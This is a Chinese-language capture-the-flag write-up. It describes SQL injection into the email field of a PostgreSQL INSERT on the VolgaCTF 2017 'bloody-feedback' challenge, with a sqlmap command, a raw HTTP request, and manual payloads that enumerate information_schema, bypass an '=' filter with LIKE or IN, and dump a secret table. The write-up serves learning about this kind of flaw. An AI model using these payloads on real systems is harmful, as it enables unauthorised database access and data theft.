寫這篇文是在昨夜的ctf中遇到的。
ctf地址:bloody-feedback.quals.2017.volgactf.ru

email存在注入,在ctf中發現注入就很好辦了,只要找到能繞過的方法就行。發現有pg開頭,聯想到PostgreSQL數據庫
試着補全語句

發現錯誤回顯的有效信息更多了,
ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES
大概的語句就這樣
INSERT INTO messages (code,name,message,email,status) VALUES('aaa','aaa','aaa','aaa','aaa')
email在第四個,所以在補全一個status就行,

找了好久的資料,沒發現PostgreSQL的報錯方法。
嘗試使用sqlmap
➜ sqlmap proxychains4 python sqlmap.py -r 1.txt --dbms=PostgreSQL -p email --prefix "',(" --suffix "))--" -v3
1.txt的內容
➜ sqlmap cat 1.txt POST /submit/ HTTP/1.1 Host: bloody-feedback.quals.2017.volgactf.ru Content-Length: 41 Cache-Control: max-age=0 Origin: http://bloody-feedback.quals.2017.volgactf.ru Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 DNT: 1 Referer: http://bloody-feedback.quals.2017.volgactf.ru/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Connection: close name=aaa&email=aa@qq.com&message=assa
發現能識別注入,美滋滋。

接着在跑表,發現需要用枚舉的方式來跑。枚舉????ctf的表名和字段名從來都很非主流的好嘛!!
還是用手工吧。
小伙伴發現在后面補全的時候,
name=a%27a%27a&email=aa%40qq.com','aaa')--&message=aaa
也就是'aaa'那里,只要不加引號,直接放sql語句也是可以的,回顯的話需要訪問response給我們的連接
查看當前數據庫權限:

然后在訪問response的連接就行。
接着查詢表名,直接把當前數據庫當做放flag的表
name=aaa&email=aa@qq.com',(select table_name from information_schema.tables limit 1 offset 0))--&message=assa
表名:s3cret_tabl3
接着爆列名。
本來的語法應該是name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name='s3cret_tabl3' limit 1 offset 0))—&message=assa
發現等號被過濾了,找了一下發現like也行
於是變換語句
name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name LIKE 's3cret_tabl3' limit 1 offset 0))—&message=assa
name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name in ('s3cret_tabl3') limit 1 offset 0))--&message=assa
如果寬字節的注入 ,這里不能用引號怎么辦?測試了發現mysql的0x和0b在這里不管用。(待解)
列名為s3cr3tc0lumn,
然后直接出來數據。
select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 2
發現這樣不需要列名也能直接出數據
select * from s3cret_tabl3 limit 1 offset 4

